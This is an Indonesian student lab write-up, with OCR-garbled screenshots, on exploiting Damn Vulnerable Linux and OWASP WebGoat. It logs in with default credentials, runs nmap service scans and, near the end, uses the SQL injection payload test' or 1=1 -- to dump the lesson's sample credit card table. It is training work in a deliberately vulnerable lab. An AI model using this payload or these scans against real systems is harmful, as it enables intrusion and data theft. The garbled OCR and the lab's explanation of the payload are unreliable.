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Pada percobaan actual exploit menggunakan DVL. DVL (damn vulnerable linux) adalah
distribusi Linux terbentuk dari Debian dengan tujuan menjadi sebuah sistem yang sengaja

rentan untuk tujuan praktek / belajar dalam hal Jaringan dan Keamanan Komputer.

Fle Edit View VM Tabs Help @@ S D= ” S

Ly, X '@ Home x | @ Debian 8.x

Q Type here to search v

v B My Computer

6] bt login: root
Shared VMs Passuord: wwss
Login timed out after 60 seconds.
me to Damn Vulnerable Lim rychnine
run this distribution in any production environment?
is not r ible for any los of any kind?

Comnercial usage a specific license!
The system is up and running now
Login as “root", with password “toor", both without gquotes, lowercase.
After you login, try the following commands:
startx ... to run Xwindow system in VESA mode 1024x?768 at ?SHz (KDE)
flux to run Xwindow systen in VESA mode 1024x768 at 7SHz (FluxBox)
xconf . to autoconfigure your graphics card for better performance
ati to autoconfigure ati drivers (download ati. lzn required)
Other commands you may find useful (for experts onl :
configsavesconfigrestore . to save and restope i lesysten changes
fileswap .... to create special file for swapping BAM to your harddisk
When finished “poveroff* or “reboot™ Commamdantheait wpti] it completes | .
This distro is based on BackTrac Final
bt login: _

To direct input to this VM, click inside or press Ctri+G. ] L [B w

©) (Fwd: Document fr B (praktikum-actua

Yang pertama kita lakukan login ke DVL dengan user “root” dan pass “toor”

Debial VMware Workstation
File Edit View VM Tabs Help & 2] D ]

Lg"TrY oy ¥ | @ Home x | @ Debian 8.x
ype e to search v
v Bl My Computer - z S -
= to run Xwindow system in VESA mode 1024x?68 at ?SHz (FluxBox)
D . to autoconfigure your graphics card for better performance
Shared VMs to autoconfigure ati drive (download ati.lzm required)
Other commands you may find useful (for experts only?):

configsavesconfigrestore . to save and restore all filesysten changes
fileswap .... to create special file for swapping RAM to your harddisk

WUhen finis , use “poweroff” or “reboot" command and wait until it completes
This distro is »d on BackTrack 2.0 Final

bt login: root
Passuord: wwess

k ifconfig
ethd Link encap:Ethernet HWaddr 00:0C:29:B9:B7:56
inet add 92.168.37.128 Bcast:192.168.37.255 Mask:255.255.255.0
UP BROADCAST NOTRAILERS RUNNING MULTICAST MTU:1500 HMetric:1
RX packets:15 errors:0 dropped:0 overruns:0 frame:0
TX packets:13 errors:0 dropped:0 overruns:0 car
collisions:0 txqueuelen:1000
RX bytes:1978 (1.9 KiB) TX bytes:2564 (2.5 KiB)
Interrupt:? Base address:0x2000

Link encap:Local Loopback

inet addr: .0.0.1 Hask:255.0.0.0

UP LOOPBACK RUNNING HTU:16436 Metricil
RX packets:0 errors:0 dropped:0 overrul
TX packet.

collisions:0 txqueueclen:0

RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)

To direct input to this VM, click inside or press Ctri+G. ° P o [3 f_l
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Kemudian kita melihat ip dari DVL tersebut dengan perintah ifconfig, didapatkan ip ethO
192.168.37.128
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Kemudian kita coba tes ping dari client ke DVL apakah tersambung, pada gambar diatas

tersambung

L 7

n Rabu,22 Maret
Terminal

Home

Talkers are no good doers
Willkam Shakespeare, "Henry VI”
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Kemudian kita buat ip ethO client agar dapat di kenali DVL dan cek kembali tersambung atau
tidak, dengan perintah ifconfig eth0 192.168.1.100 netmask 255.255.255.0 up

Debian 8.x - VMware Workstation 000
Fie Edit View VM Tabs Help @@ 8 | L D= ” |

Library = © Home x | (@ Debian8.x x
Q Type here to search v

v Bl My Computer

@ | ifconfig
Shared VMs etho Link encap:Ethernet HWaddr 00
inet addr:192.168.37.128 Bcast:192.168.37.255 Mask:255.255.255.0
UP BROADCAST NOTRAILERS RUNNING MULTICAST MTU:1500 Metric:1
0 frame:0
carrier:0
0 txqueuelen:1000
1861 (1.8 KiB) TX bytes:1934 (1.8 KiB)
Interrupt:? Base address:0x2000

frane:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:®

RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)

ping 192.168.1.100

PING 192.168.1.100 (192.168.1.100) 56(84) bytes of data.
bytes from 192.168.1. : 1 tt1=128 time=2.09 ns
bytes from 192.168.1.10 seq=2 tt1=128 1 3
bytes from 192.168.1. C: tt1=128
bytes from 192.168.1 tt1=128
bytes from 192.168 v
bytes from 192.168.1. tt1=128 tine=0.202
bytes from 192.168.1. ¢ icnp_seq=7 tt15128 tine=0.418

~-= 192.168.1.100 ping statistics -——-
? packets transmitted, ? received, 0z packet loss, time 5997as
rtt ninsavg/max/ndev = ©.202/0.525/2.093/0.644 ns

To direct input to this VM, click inside or press Ctri+G. B oW 53 i! ]
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Setelah membuat ip di client, kita coba tes ping dari DVL ke client, dengan perintah ping
192.168.1.100. pada gambar diatas, dapat dilihat bahwa tersambung.
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Terminal
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Kemudian Kita ketik pada terminal client nmap —sV 192.168.37.128(ip target) DVL. Dapat
dilihat layanan yang digunakan diantaranya mysql, x11, dll.

Debian - VMware Workstation 000
File Edit View VM Tabs Help @ s Dl
Library x

© Home x | Debian8.x x

Q Type here to search -

Shell - Konsole
v Bl My Computer

& ( http://insecure.org ) at 2017-03-22 10:01 GMT
Shared VMs 192.168.1.100
closed ports
SERVICE VERSION
(protocol 2
Apache httpd 2.4.7 ((Ubuntu))
Sasba sabd 3.X (workgroup: DEE-K46(B)

Samba sabd 3.X (workgroup: DEE-K4

Ntop interface 5.€ HoneyNet
services un nized despite returning data. If r
at http://www.insecure,org/cgi
FINGERPRINT

FINGERPRINT

/22%T1

ired, \x205erve
OVMXARGS \ x20
@ t1on\x200aemon\x
erDaemonProtocol: SOAP,
20supported, \X2ONFCSSL\X20s
Authentication\x200aeson\x
quired, \x20 rDaemonProtocol: SOAP, \x20
(ARGS\x20supported, \x20NFCSSL\x20suppor te
tication\x200aet
Se
{ Osupported
(LPDString,98,

To direct input to this VM, click inside or press Ctri+G. ° W - & fl
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Kemudian kita cek kembali nmap —sV dari DVL ke client(192.168.1.100) dapat dilihat layanan
yang digunakan diantaranya ssh, http, netbios-ssn, dll.

Debian 8.x - VMware Workstation

File Edit View VM Tabs Help (@ a | o
Lo X ¢ Home x | @ Debian 8.x x
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~ Bl My Computer

& X
Shared VMs programs /Damn Vulnerable Linux/Training Matenal-2/WebGoat/ - Konqueror

Edit View Go Bookmarks Tools Settings Window Help

Web

< NN \

E> Location: g programs/Damn Vulnerable Linux/Training Material-2/WebGoat/

q_-j Q_-) (e (e

Web WebGoat Web
Exploitation Pa Exploitation Pa

HoneyNet
WebScarab

& 4 tems - 2 Files (0 B Total) - 2 Folders

To direct input to this VM, click inside or press Ctri+G.
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Kemudian kita klik webgoat, webgoat ini Web Goat adalah Project Open Source yang dapat

digunakan agar orang lain bisa belajar web hacking.

Debian 8.x - VMware Workstation 000
File Edit View VM Tabs Help @ s Dl
Ly X @ Home x | {0 Debian 8.x x
Q Type here to search v
v Bl My Computer ; ;
(67
Shared VMs HTTPD  Mysql (w®

Location Edit View Go Bookmarks Tools Settings Window Help
D &
D ; - - - S D N

SSH  PHPMyAd

E> Location: g programs/Damn Vulnerable Linux/Training Material-2/WebGoat/WebGoat-2

'l @ ¢ = =

Start WebGoat | StartWebGost  Start WebGoat tart at Stop WebGoat Webgoat+

£ Frontend (Port Frontend (Port Port 80 Port 8080 WebScarab M

& 6 Items - 6 Files (0 B Total) - No Folders

To direct input to this VM, click inside or press Ctri+G. B o w=-mEH
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Kemudian Kklik start webgoat port 8080, untuk mengaktifkan webgoat. Setelah aktif, klik start

webgoat frontend(port 8080), untuk membuka otomatis web localhost webgoat.

Debian 8.x - VMware Workstation

File Edit View VM Tabs Help @@ ) D L2

Library x

@ Home x | Debian8.x x
Q Type here to search v

~ Bl My Computer Location Edit View Go Bookmarks Tools Settings Window Help

A
Shared VMs Y e
E> Location: g programs/Damn Vulnerable Linux/Training Material-2/WebGoat/WebGoat-2,
Location Edt View Go Bookmarks Jools Settings Window Help
L% A
v v Wy i T et
E> Location: | # http//127.0.0.1:8080/WebGoat/attack i) Authonzation Dialog = W R
N\
You need to supply a usemame and a
password to access this site
Site WebGoat Application at 127.0.0.1
Usemame. guest
Keep password
oK Q Cancel
To direct input to this VM, click inside or press Ctri+G. o P o B2 [B f_l

@ menu Bl ©[CIMM  O(Fwd:Documentf.. [ praktikum-actual... 3 Debian 8.x-VMw... =B [Untitled1- Libre... [Z](Terminal] 567°C o, & C g T R R 4 EI R P AT =]

Setelah terbuka, masukkan username “guest” dan pass “guest”
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bian 8.x - VMware Workstation

00
Fle Edit View VM Tabs Help @@ 8 | C D

Library x

Home x | @ Debian8.x x
Q Type here to search v o

E> Lgcation: ® nttp//127.0.01:8080/WebGoat/attack

v Bl My Computer

Shared VMs

OWASP WebGoat V5.1 |

Thank you for using WebGoat!

This program is a demonstration of common web application flaws, The exercises are intended
to provide hands on experience with application penetration testing techniques

The WebGoat project is lead by Bruce Mayhew. Please send all comments to Bruce at

OWASP ASPECT) i

1N (pem e Apphatam Soxurin gt

WebGoat Design Team Lesson Contributers

Aspect Sec

com)

To all who have sent comments

Start WebGoat

N

|To direct input to this VM, click inside or press Ctri+G.

©) [Fwd: Document f... [ praktikum-actual

Setelah terbuka, klik start webgoat

Debian 8.x - VMware Workstation

000

Fle Edit View VM Tabs Help @@ 8. D

Library x
Q Type here to search v

@ Home x | Debian8.x x

E» Lgcation: ® nttp /127001 avattack?Screen=8& 610

v
v Bl My Computer o
Shared VMs
Fu Restart this Lesson

1 SQL injection attacks represent a serious threat to any database-driven site. The methods behind an
attack are easy 1o leamn and the damage caused can range from considerable to complete system
compromise. Despite these risks, an incredible number of systems on the intemet are susceptible to
this form of antack

rots Sl : Not only isit a threat easly instigated. itis also a threat that, with a litle common.sense and
S e SLap forethought. can easly be prevented
Itis atways good practice 10 sanitze all input data. especially data that will used in OS command
scripts, and database queines. even if the threat of SQL injection has been prevented in some other
manner
erc SOL Iniack General Goal(s):
g B The form below allows a user to view their credit card numbers. Try o inject an SQL string that results
in all the credit card numbers being displayed. Try the user name of 'SmA’
Enter your last name: SMith | Go!
SELECT * FROM user_data WHERE last_name = “Saith’
USERID FIRST NAME LAST NAME CC_NUMBER CC_TYPE COOKIE LOGIN COUNT
102 john Smith 2435600002222 MC Q
102 John Smith 4352209902222 |AMEX 0
-

Berikutnya, klik injection flaws = string SQL injection, lalu kita coba masukkan nama Smith
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bian 8.x - VMware Workstation

File Edit View VM Tabs Help & 8 L D
Libra x
0y @ Home x | Debian8.x x
Q Type here to search v
- @ My Computer E> Lgcation: ® ntp//127.001 at/attack?Screen=85 610 | sl
SQL injection anacks represent a serous threat 1o any database-driven site. The methods behind an =
h. 4 attack are easy 1o leam and the damage caused can range from considerable 1o complete system
Shared VMs Uava compromise_Despite these risks, an incredible number of systems on the internet are susceptible to
this form of aftack
M Not only is it a threat easily instigated. it is 8150 a threat that, with a little common-sense and
forethought. can easly be prevented
It s always good practice to sanitze all Input data. especially data that will used in OS command,
Command inje 1 scripts, and database queines. even if the threat of SQL injection has been prevented in some other
General Goal(s):
{ba Snnamas The form below allows a user to view their credit card numbers. Try to inject an SQL string that results
12000800 in all the credit card numbers being displayed. Try the user name of 'Smith'
XPATH Injec
°C y this lesson.
* Bet you can'tdo it again! This lesson has detected your successfull attack and has now
switched to a defensive mode. Try again to attack a parameterized query.
Enter your last name: test' or 1=1 -- | Go!
SELECT * FROM user_data WHERE last_name = “test’ or 1s1 ..’
USERID FIRST_NAME LAST_NAME CC_NUMBER  CC_TYPE COOKIE LOGIN_COUNT
100 joe Snow 987654321 VISA 0
x 101 fjoe Snow 2234200065411 [MC 0
Gotatiazz Bask docry 102 john Smith 2435600002222 [MC 0
102 [john Smith 4352209902222 AMEX (]
103 [jane Pane 123456789 MC 0
103 [jane Plane 333498703333 [AMEX 0
10312 Jjolly Hershey 176896789 MC 0
10312 [jolly Hershey 333300003333 AMEX 0
Q 10323 [Grumpy White 673834489 MC 0
10323 [Grumpy White 33413003333 [AMEX (]
15603 [Peter Sand 123609789 MC 0
15603 [Peter sand 338893453333 |AMEX 0
15613 joesph Something |33843453533 AMEX ()
-
[To direct input to this VM, click inside or press Ctri+G. 8 o » g
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Kemudian kita coba input test’ or 1=1 — maksudnya test adalah nama file dari database, 1=1
boolean true, walaupun kita salah maka akan tetap true jawabannya.



